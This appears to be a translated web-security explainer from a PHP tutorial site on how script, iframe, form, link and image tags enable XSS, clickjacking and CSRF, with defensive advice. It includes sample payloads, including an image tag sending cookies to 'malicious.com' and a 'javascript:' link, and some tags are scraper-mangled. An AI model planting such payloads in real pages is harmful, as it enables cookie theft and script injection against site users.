What are the security risks associated with certain HTML tags?
Jun 29, 2025 am 01:03 AMImproper use of HTML tags can lead to multiple security issues. First, the <script> tag may trigger XSS attacks, and user input should be escaped, CSP and secure DOM operations should be used; second, <iframe> introduces third-party risks, which require restriction of source and permissions; third, <form> tags are vulnerable to CSRF attacks, and token checksum should be added to confirm the secondary; fourth, <a> and <img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/000/175113021379917.jpeg" class="lazy" alt="What are the security risks associated with certain HTML tags?" > tags may also be used, and links and image addresses should be filtered and restricted. </script>
Many web page security issues are actually related to the use of HTML tags, especially those that allow embedding scripts or external content. Although HTML itself is not a programming language, some tags can become attack portals if they are abused or mishandled.

<script></script>
Tag: The most direct safety hazard
This tag was originally used to load JavaScript, but if the <script></script>
tag can be inserted into the content submitted by the user, it is almost equivalent to opening the back door. For example, if the filtering or escape is not done in the comment box, user name input, etc., the attacker can inject malicious scripts to implement XSS (cross-site scripting attack).

Suggested practices:
- HTML escapes all user input, especially filtering the
<script></script>
tags - Use CSP (Content Security Policy) to limit which source scripts can be executed
- Do not splice the user input directly into the page, use a safe DOM operation method
<iframe></iframe>
tag: easy to introduce third-party risks
<iframe></iframe>
is often used to embed ads, videos, or other web content. But the problem is that once an untrusted page is embedded, the user's browsing behavior can be listened to or even hijacked. For example, clickjacking attacks use transparent iframes to induce users to click malicious links without knowing them.

Suggested practices:
- Embed only iframes from trusted sources
- Use
sandbox
attribute to limit content permissions in iframes - Avoid allowing users to freely enter iframe addresses. If input functions must be provided, strict URL whitelist verification is required.
<form></form>
tag: If not protected, CSRF attacks may be triggered
Although <form></form>
is a normal form submission tag, if the token verification is not performed, the attacker can induce the user to submit sensitive operation requests by constructing malicious forms, such as modifying passwords, transferring money, etc.
Common prevention measures include:
- Add a one-time token to each form and verify it on the server side
- Request secondary confirmation for sensitive operations, such as entering a password
- Set up appropriate CORS policies to prevent cross-domain commits
<a></a>
and <img src="/static/imghw/default1.png" data-src="http://malicious.com/steal?cookie=xxx" class="lazy" alt="What are the security risks associated with certain HTML tags?" >
tags: may also be used to launch attacks
Many people think that these are just display labels and will not cause too much problem, but in fact they can also participate in security attacks. For example:
- Links like
<a href="javascript:alert(1)"></a>
can also trigger scripts in some scenarios -
<img src="/static/imghw/default1.png" data-src="http://malicious.com/steal?cookie=xxx" class="lazy" alt="What are the security risks associated with certain HTML tags?" >
may be used to steal user information
Such attacks are usually not easily noticed because they appear to be part of normal content.
Coping method:
- Contains a whitelisting restriction on the links entered by users, such as only http(s) is allowed
- The image address should also be cleaned and filtered to avoid sensitive parameters
- Use the browser's built-in security mechanism, such as
rel="noopener"
orXSS
filter
Basically, it is the security risks brought by these common HTML tags. The seemingly simple front-end tag actually has a great impact on the security level, and if you are not careful, you may cause serious loopholes to the website.
The above is the detailed content of What are the security risks associated with certain HTML tags?. For more information, please follow other related articles on the PHP Chinese website!

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